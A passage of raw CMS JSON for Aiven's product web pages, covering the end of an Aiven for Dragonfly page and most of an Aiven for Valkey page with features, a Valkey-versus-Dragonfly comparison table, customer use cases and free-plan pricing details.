"},{"_key":"f11227d89534","_type":"span","marks":["bec2e085e203"],"text":"Aiven for Caching"},{"_key":"d6791110127c","_type":"span","marks":[],"text":" offers a robust and affordable alternative based on open-source Redis. We also offer a simple migration tool if you decide to switch later."}],"markDefs":[{"_key":"bec2e085e203","_type":"internalLink","internalLink":{"_ref":"d1d507e1-9f11-4bc7-818f-bd9702a10553","_type":"reference"}}],"style":"normal"}],"title":"How to choose between Aiven for Dragonfly or Aiven for Caching?"}],"title":"FAQ"},{"_key":"ca9978eb5c2d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","disabled":true,"fullWidth":true,"id":"resources","items":[{"_key":"955ce9a0c473","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/redis","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"50193800fa0c","_type":"block","children":[{"_key":"ec85f05004810","_type":"span","marks":[],"text":"Getting started with Aiven for Redis®, core concepts, how-to's, and more."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Documentation","variant":"default"},{"_key":"edc9580525f7","_ref":"5n7mhiPowEK6X49UpoZSU4","_type":"reference"},{"_key":"2b308dc6e657","_ref":"Bn6QWyWT0ZxFmtWiDM23j","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Resources","title":"Learn how to use Aiven for Redis"}],"seo":{"_type":"metaData","metaDescription":"Efficient scaling for your Redis workloads - up to 1TB+ of memory, 500K+ ops/sec and sub-second latency","metaImage":{"_type":"mainImage","asset":{"_ref":"image-9303052381119742c53b15661212e7970990f304-2500x1312-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Dragonfly\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Highly scalable and high throughput Redis, Dragonfly as a Service\",\n \"description\": \"Aiven for Dragonfly is a highly scalable and high throughput Redis and Memcached compatible in-memory database. It supports persistence and replication for high availability and advanced Redis capabilities, such as JSON documents and vector search.\",\n \"featureList\": \"Terraform support, Datadog integration, Aiven service log integration, Aiven metrics integration, VPC peering, REST API, Command line tooling, High availability, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure, Available in DigitalOcean\",\n \"softwareHelp\": {\n \"url\": \"https://aiven.io/docs/products/dragonfly\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source in-memory NoSQL database\",\n \"applicationSubCategory\": \"Memory cache, Memcached compatible in-memory database, Message broker, Non-relational database\"\n}","metaTitle":"Cost-effective scaling for Redis | Aiven for Dragonfly"},"service":{"_ref":"15ecb747-c8c1-42ad-baab-e7551844a508","_type":"reference"},"slug":{"_type":"slug","current":"/dragonfly"},"title":"Dragonfly"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"13512903-e091-4cd8-9625-d942418d75d2__i18n_ja","_type":"reference"}],"_createdAt":"2024-06-04T07:41:03Z","_id":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_rev":"nsxTqRv7yl9rbYA812ffnD","_type":"product","_updatedAt":"2025-01-15T15:46:03Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Valkey™","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform "}},"darkTheme":true,"description":[{"_key":"2b9364719803","_type":"block","children":[{"_key":"e80ad63da24f0","_type":"span","marks":[],"text":"Aiven for Valkey™ is a managed, in-memory NoSQL database with a small footprint and big performance. It is built on open source Valkey™ and compatible with legacy Redis® OSS."}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"10e4ca9488e7","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"a18ec3c2e5f8","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"73742df4ef01","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-2eb4eaf96f751af563238255072a6e184efb56f8-1600x1137-png","_type":"reference"}},"imageSize":"default","noSpaceBottom":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start with a free plan"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/valkey","title":"See docs"},"tagline":"Managed and hosted","title":"Aiven for Valkey™","variant":"default"},{"_key":"gw6ik76exfbu6vai0303v2nvnxkg14hh","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"z5vr2z9sydcg9qc3aq2xnoucc08n7pu5","_ref":"9da4838e-53cf-49d0-b2b9-19246a10e92d","_type":"podcast"}],"itemsPerRow":1,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":true},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"Customer use cases"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"},{"_key":"00a694ce4c21","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-f997cab5874d12c680040053b0a516337323f549-48x48-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"},"title":"Aiven for Valkey™"},"noSpaceTop":false,"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for Valkey™"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","noSpaceTop":false,"resources":{"_type":"textItem","content":[{"_key":"7a96d10ef83f","_type":"block","children":[{"_key":"dfba7ce02202","_type":"span","marks":["strong"],"text":"Resources"}],"markDefs":[],"style":"normal"},{"_key":"bfe958403829","_type":"block","children":[{"_key":"ebe437864dcc","_type":"span","marks":["a29742c95edc"],"text":"Aiven for Valkey (docs)"}],"markDefs":[{"_key":"a29742c95edc","_type":"link","href":"https://aiven.io/docs/products/valkey"}],"style":"normal"}]},"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"10fcada6cca5","_type":"block","children":[{"_key":"fb8a4d92e8970","_type":"span","marks":[],"text":"Get a fully managed, in-memory NoSQL database with Aiven for Valkey"}],"markDefs":[],"style":"h3"},{"_key":"0cdc0906bafa","_type":"block","children":[{"_key":"2fe97da1b892","_type":"span","marks":[],"text":"Aiven for Valkey is a Redis® compatible in-memory, open source NoSQL datastore that is perfect as a fast data store, cache, or lightweight message broker. It’s a complementary tool for your data architecture, serving as a flexible data structure server to store and recall data on the fly."}],"markDefs":[],"style":"normal"},{"_key":"0d2f13ad2e36","_type":"block","children":[{"_key":"819cbc0747070","_type":"span","marks":[],"text":"With Aiven for Valkey, you can get high-performance data caching or easily integrate it into your stack for observability purposes like logging and monitoring."}],"markDefs":[],"style":"normal"},{"_key":"9e733fcf32cf","_type":"block","children":[{"_key":"586a71abfbef","_type":"span","marks":[],"text":"Aiven for Valkey provides data structures such as strings, hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglogs, geospatial indexes, and streams."}],"markDefs":[],"style":"normal"}]}],"subtitle":[{"_key":"779a5b150d54","_type":"block","children":[{"_key":"4757906ae4b30","_type":"span","marks":[],"text":"Set up a fully managed in-memory NoSQL datastore in less than 10 minutes — directly from our web console or programmatically via our API, CLI, or Terraform provider. Aiven for Valkey™ is fully compatible with legacy Redis® OSS so you can connect it to your existing tech stack with ease."}],"markDefs":[],"style":"normal"}],"tagline":"How it works","title":"What can you do with Aiven for Valkey™?","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"fb1f618c029c","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"redis"},{"_key":"fww3wb5pqugwesdiiadvkx9xonkm3jmc","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"tankikr86zd07vs4fvraoxqlw88h7zfk","_type":"block","children":[{"_key":"b1bchp745qcgsigatlvms90i0ffq9hiz","_type":"span","marks":["strong"],"text":"Aiven for Valkey"},{"_key":"5fed28ca5284","_type":"span","marks":[],"text":"™ and "},{"_key":"51gh55cglnoow7jixhprynpacl37blam","_type":"span","marks":["strong","795e9610d74b"],"text":"Aiven for Dragonfly"},{"_key":"7qn65gmt2ab6clpbxv5njom2h3bvn7r5","_type":"span","marks":[],"text":" are both powerful solutions designed to meet the demands of your applications. For lighter workloads that prioritize cost-effectiveness and simplicity, Aiven for Valkey offers a robust and affordable alternative based on open-source Redis®. If you require the ultimate in performance and scalability, then Aiven for Dragonfly is the perfect choice. "}],"markDefs":[{"_key":"795e9610d74b","_type":"internalLink","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"}}],"style":"normal"},{"_key":"4ior2zlpw4jsvnuyk4q59489j04qs6yg","_type":"table","rows":[{"_key":"dh2xqn1qcgh93ku7ikjyapqtbxlibfze","_type":"tableRow","cells":["","Aiven for Valkey™","Aiven for Dragonfly"]},{"_key":"u068nrc6p13b63xptra7tdc9lu8iw1z9","_type":"tableRow","cells":["Memory size (storage)","Scales to 100GB and more, depending on the required performance","Supports up to 1TB+ of data per instance"]},{"_key":"9x5kpmr1hj35exvi4y4ire8qdlivq5uz","_type":"tableRow","cells":["Throughput","Suitable for workloads of 70,000 QPS or less","Built for workloads exceeding 70,000 QPS"]},{"_key":"prh8bk0u2plsn2yz1ppndtp6dzg4y0sk","_type":"tableRow","cells":["Features","Provides a complete open-source Redis® compatible experience","Includes all open-source Redis® features, plus JSON support and vector search"]},{"_key":"zz3mhlrppjturk5554nq9d3ury4gwdhp","_type":"tableRow","cells":["Other","","Memcached compatibility"]}]}],"tagline":"Choose the ideal solution for your needs","title":"Aiven for Valkey™ or Aiven for Dragonfly","variant":"centerColumn"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"04321132533e","_type":"block","children":[{"_key":"d33d8216baf40","_type":"span","marks":[],"text":"Downtime is a disaster for critical applications. That’s why Aiven makes sure you get 99.99% uptime. Plus, you get access to a 100% human support team — in case you need a helping hand."}],"markDefs":[],"style":"normal"}],"title":"99.99% uptime. 100% human support."},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5b154edc449d","_type":"block","children":[{"_key":"4a8a1a6e59d10","_type":"span","marks":[],"text":"Increase the memory in your cluster, create new clusters, switch cloud providers, or expand to new regions. Aiven for Valkey makes scaling Redis® easy."}],"markDefs":[],"style":"normal"}],"title":"Scale up or down easily. Whenever you need."},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5e05fcce7726","_type":"block","children":[{"_key":"3be69eb46dcf0","_type":"span","marks":[],"text":"Stressing about applying maintenance updates or version upgrades to your clusters? We’ll take care of them for you so that you can focus on turning your data into actionable insights."}],"markDefs":[],"style":"normal"}],"title":"Automatic updates and upgrades. Zero stress."},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"7f9da06ae44f0","_type":"span","marks":[],"text":"Aiven for Valkey comes with all-inclusive pricing. No hidden fees or charges, just one payment that covers networking to data storage, and everything in-between."}],"markDefs":[],"style":"normal"}],"title":"Super-transparent pricing. No networking costs."}],"id":"benefits","noSpaceBottom":false,"rounded":false,"subtitle":[{"_key":"08cad0d87e2b","_type":"block","children":[{"_key":"99cf42e9ee2e0","_type":"span","marks":[],"text":"With Aiven’s fully managed service, you get all the features of open-source Redis® without any of the infrastructure stress."}],"markDefs":[],"style":"normal"},{"_key":"e1a99d868c86","_type":"block","children":[{"_key":"7bd5ce6a55600","_type":"span","marks":[],"text":"Because Aiven makes setting up services easy, you can snap Aiven for Valkey™ into your data pipelines in a matter of minutes, and get back to developing. All the installation, management, and updating is taken care of, and we provide an extensive set of tools and integrations out-of-the-box."}],"markDefs":[],"style":"normal"},{"_key":"50dcf6ee2743","_type":"block","children":[{"_key":"0d4911c4f0bf0","_type":"span","marks":[],"text":"Simply put, with Aiven for Valkey, you get legacy Redis® OSS compatible functionality ready to go."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of Aiven for Valkey™"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"662dfb0aa52d","_type":"block","children":[{"_key":"22f8c587a3980","_type":"span","marks":[],"text":"Caching means fewer database access calls, which helps to reduce the amount of traffic and instances required. As Aiven for Valkey processes data with sub-millisecond latency, it’s ideal for caching use."}],"markDefs":[],"style":"normal"}],"title":"Caching for databases","variant":"icon-card"},{"_key":"40bbb53cd0c3","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"84d4ac77d641","_type":"block","children":[{"_key":"540290ee30b2","_type":"span","marks":[],"text":"Aiven for Valkey supports Pub/Sub with pattern matching and many different varieties of data structure, such as lists, sorted sets, and hashes. This enables support for high-performance chat rooms, real-time comment streams, social media feeds, and server intercommunication."}],"markDefs":[],"style":"normal"}],"title":"Chat and messaging applications","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"b27827cec62f","_type":"block","children":[{"_key":"ef2fdd3cf9590","_type":"span","marks":[],"text":"Redis® is a popular choice among game developers looking to build real-time leaderboards or scoreboards. “Sorted Sets” within Aiven for Valkey are a built-in data structure that makes leaderboards simple to create and manage."}],"markDefs":[],"style":"normal"}],"title":"Gaming leaderboard applications","variant":"icon-card"}],"rounded":false,"tagline":"Customer use cases","title":"How customers use Aiven for Valkey™"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","tagline":"Features","title":"Key features of Aiven for Valkey™","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-b54e8b0d35a7582eb2c101df1106bc39bdc48f4c-1520x917-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"Setup","text":[{"_key":"d04d9895f232","_type":"block","children":[{"_key":"752b224cf23e0","_type":"span","marks":[],"text":"Production-ready clusters in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6e5f65db71c0","_type":"block","children":[{"_key":"e4ba2462ed070","_type":"span","marks":[],"text":"Deploy to the cloud of your choice with 5 public clouds and 100+ regions supported"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"57ef900f2f22","_type":"block","children":[{"_key":"1bfd1c5ac20c0","_type":"span","marks":[],"text":"High performance clusters based on carefully selected instance types and storage options"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d9812a479f18","_type":"block","children":[{"_key":"34d0ec9048900","_type":"span","marks":["5c87d4279d3a"],"text":"Bring-your-own-cloud (BYOC) "},{"_key":"34d0ec9048901","_type":"span","marks":[],"text":"deployment model for strict control requirements or to take advantage of your cloud provider discounts"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5c87d4279d3a","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Flexible, fast, and stress-free","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-1425732ff6594c27532d2b740a2cfd1a9d59576b-3266x1810-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Connect","text":[{"_key":"fdcd18e5e3e3","_type":"block","children":[{"_key":"cebe9e375ffa","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"556e5db9b1da","_type":"span","marks":["85139808a6ef"],"text":"VPC peering"},{"_key":"2ead455af98a","_type":"span","marks":[],"text":", "},{"_key":"79f91cd1cc13","_type":"span","marks":["3e2bdec0341c"],"text":"PrivateLink"},{"_key":"6798f544664d","_type":"span","marks":[],"text":" or "},{"_key":"18f9fa636f26","_type":"span","marks":["ecf78a7796d0"],"text":"TransitGateway"},{"_key":"f12572922f96","_type":"span","marks":[],"text":" technologies"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"85139808a6ef","_type":"link","href":"https://aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"3e2bdec0341c","_type":"link","href":"https://aiven.io/docs/tools/cli/service/privatelink"},{"_key":"ecf78a7796d0","_type":"link","href":"https://aiven.io/docs/platform/howto/attach-vpc-aws-tgw"}],"style":"normal"},{"_key":"95f5efbd5992","_type":"block","children":[{"_key":"351f2672b522","_type":"span","marks":["018e7219a268"],"text":"Integrate"},{"_key":"3725eed2c52a","_type":"span","marks":[],"text":" with your favorite observability tooling — from Datadog to Prometheus, Jolokia, and more"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"018e7219a268","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"}],"title":"Integrate with your data infrastructure","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-e3ec574a2d2b9677fe77c15a5a418d951f984d3b-2626x1882-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Control","text":[{"_key":"451b643ee594","_type":"block","children":[{"_key":"6750ab7710a30","_type":"span","marks":[],"text":"Manage your Aiven for Valkey™ cluster using Aiven Console (GUI), CLI, or "},{"_key":"6750ab7710a31","_type":"span","marks":["18690176761e"],"text":"Terraform"},{"_key":"6750ab7710a32","_type":"span","marks":[],"text":" tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"18690176761e","_type":"link","href":"https://aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"b113fcd57cc4","_type":"block","children":[{"_key":"26e5ce3c8a3a0","_type":"span","marks":[],"text":"Scale, fork, and upgrade with just a few clicks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4750ba6d1f79","_type":"block","children":[{"_key":"b0b6e21aaf010","_type":"span","marks":[],"text":"Guaranteed compatibility with open source software"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5836e3c90b21","_type":"block","children":[{"_key":"43bb074d8fc60","_type":"span","marks":[],"text":"Migrate easily between clouds and regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOps-friendly management and development","variant":"mediaLeft"},{"_key":"7bff0ebf3f03cb580d82a70f2160a6ea","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-b61820e6d52af14f4fd75797f9a08dd135a713b3-3284x2028-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Enjoy","text":[{"_key":"b4536951b24a","_type":"block","children":[{"_key":"1b8ffdf481930","_type":"span","marks":[],"text":"Self-healing platform"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be0e0c4916a5","_type":"block","children":[{"_key":"72420e4dea5d0","_type":"span","marks":[],"text":"Zero downtime during scaling, upgrading, and other management operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8abaff0091e7","_type":"block","children":[{"_key":"411bc2e965150","_type":"span","marks":[],"text":"Automatic backups every 12 hours, depending on your plan"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"14afad19675e","_type":"block","children":[{"_key":"8f5be5a8acd40","_type":"span","marks":["ad498af7cb95"],"text":"Secure and compliant solution"},{"_key":"38c65f227bf1","_type":"span","marks":[],"text":" — ISO 27001:2013, SOC2, GDPR, HIPAA, and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ad498af7cb95","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Reliable, secure, and zero lock-in","variant":"mediaRight"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundSize":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-b","title":"Spin up your first cluster now","variant":"centerColumn"},{"_key":"1705d247f2aec3897e833f4f8da85ffa","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"service":{"_ref":"32901e10-74d0-48c8-a797-be1bb58c8839","_type":"reference"},"subtitle":[{"_key":"279c98a469fb","_type":"block","children":[{"_key":"ec0561ecb60f","_type":"span","marks":[],"text":"Starting at just $0 a month for the "},{"_key":"0c42f6f5b29e","_type":"span","marks":["18134c8c93a8"],"text":"free Aiven for Valkey plan"},{"_key":"86669ac35116","_type":"span","marks":[],"text":", prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime at no extra cost."}],"markDefs":[{"_key":"18134c8c93a8","_type":"link","href":"https://aiven.io/free-redis-database"}],"style":"normal"}],"tagline":"Pricing plans","title":"Scale up or down. Pay only for what you use.","variant":"single-service"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","darkTheme":false,"disabled":true,"fullWidth":false,"headerPosition":"left","id":"pricing","items":[{"_key":"ffb8e7fedab3","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start free Redis plan"},"subtitle":[{"_key":"3e8093ead98e","_type":"table","rows":[{"_key":"f8f26ac5-9295-4a70-9578-545109c68acb","_type":"tableRow","cells":["Feature"]},{"_key":"f049c85d-1d37-4d7d-bd59-5b9e5b95c8b2","_type":"tableRow","cells":["Dedicated VMs","1"]},{"_key":"3e533bb8-c9f2-4c30-8bf9-74ec2e74606f","_type":"tableRow","cells":["CPU per VM","2"]},{"_key":"427ec947-db2e-42a0-9f68-cc3c4639d729","_type":"tableRow","cells":["RAM per VM","1 GB"]},{"_key":"6eebaf56-2893-487e-9df7-8cf2a4f33afb","_type":"tableRow","cells":["Cloud","AWS with 9 regions all over the world"]},{"_key":"5926175f-e332-4f62-ab91-c1b1133ac80c","_type":"tableRow","cells":["All networking costs included","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02d09f41-78fb-423e-a030-e53e291b6341","_type":"tableRow","cells":["Seamless upgrade to other plans","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02df881d-baa9-4818-8aa9-5fb81178fc25","_type":"tableRow","cells":["One-click version upgrade","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"db7b150c-df13-4d60-a1f6-d268c7dcdf72","_type":"tableRow","cells":["Performance graphs","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"909a4257-2e25-4acc-b9a4-2649925b1064","_type":"tableRow","cells":["Data encrypted on disk and network","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"0f983ebe-dc35-4b04-9e67-34bdee082179","_type":"tableRow","cells":["Daily backups","3 days"]},{"_key":"5cc099a3-1b0f-4d85-87bf-6149c2fc9730","_type":"tableRow","cells":["Support","[Community support](https://aiven.io/community/forum/)"]}]}],"title":"Get started with a free plan","variant":"default"}],"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/pricing?product=redis","title":"Compare plans and pricing"},"rounded":true,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start with a free plan"},"subtitle":[{"_key":"c8447ad423b3","_type":"block","children":[{"_key":"328a0011a3580","_type":"span","marks":[],"text":"Starting at just $0 a month, prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime at no extra cost. Basic support is included in all the paid plans."}],"markDefs":[],"style":"normal"},{"_key":"e1bb25903a3d","_type":"block","children":[{"_key":"e5c22c2e1ea4","_type":"span","marks":[],"text":"All-inclusive pricing so you never get end-of-the-month surprises."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9967b5709108","_type":"block","children":[{"_key":"5331694b55d7","_type":"span","marks":[],"text":"No extra maintenance, networking, or storage fees. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"321b2ae51fa3","_type":"block","children":[{"_key":"726c2ce087f4","_type":"span","marks":[],"text":"Private networking (VPC), single-tenant, and high-availability multi-AZ available. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"56795499a0da","_type":"block","children":[{"_key":"80de97c99bbe","_type":"span","marks":[],"text":"Spin up clusters and regions when you need them, and shut them down when you don’t."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Scale up or down. Pay only for what you 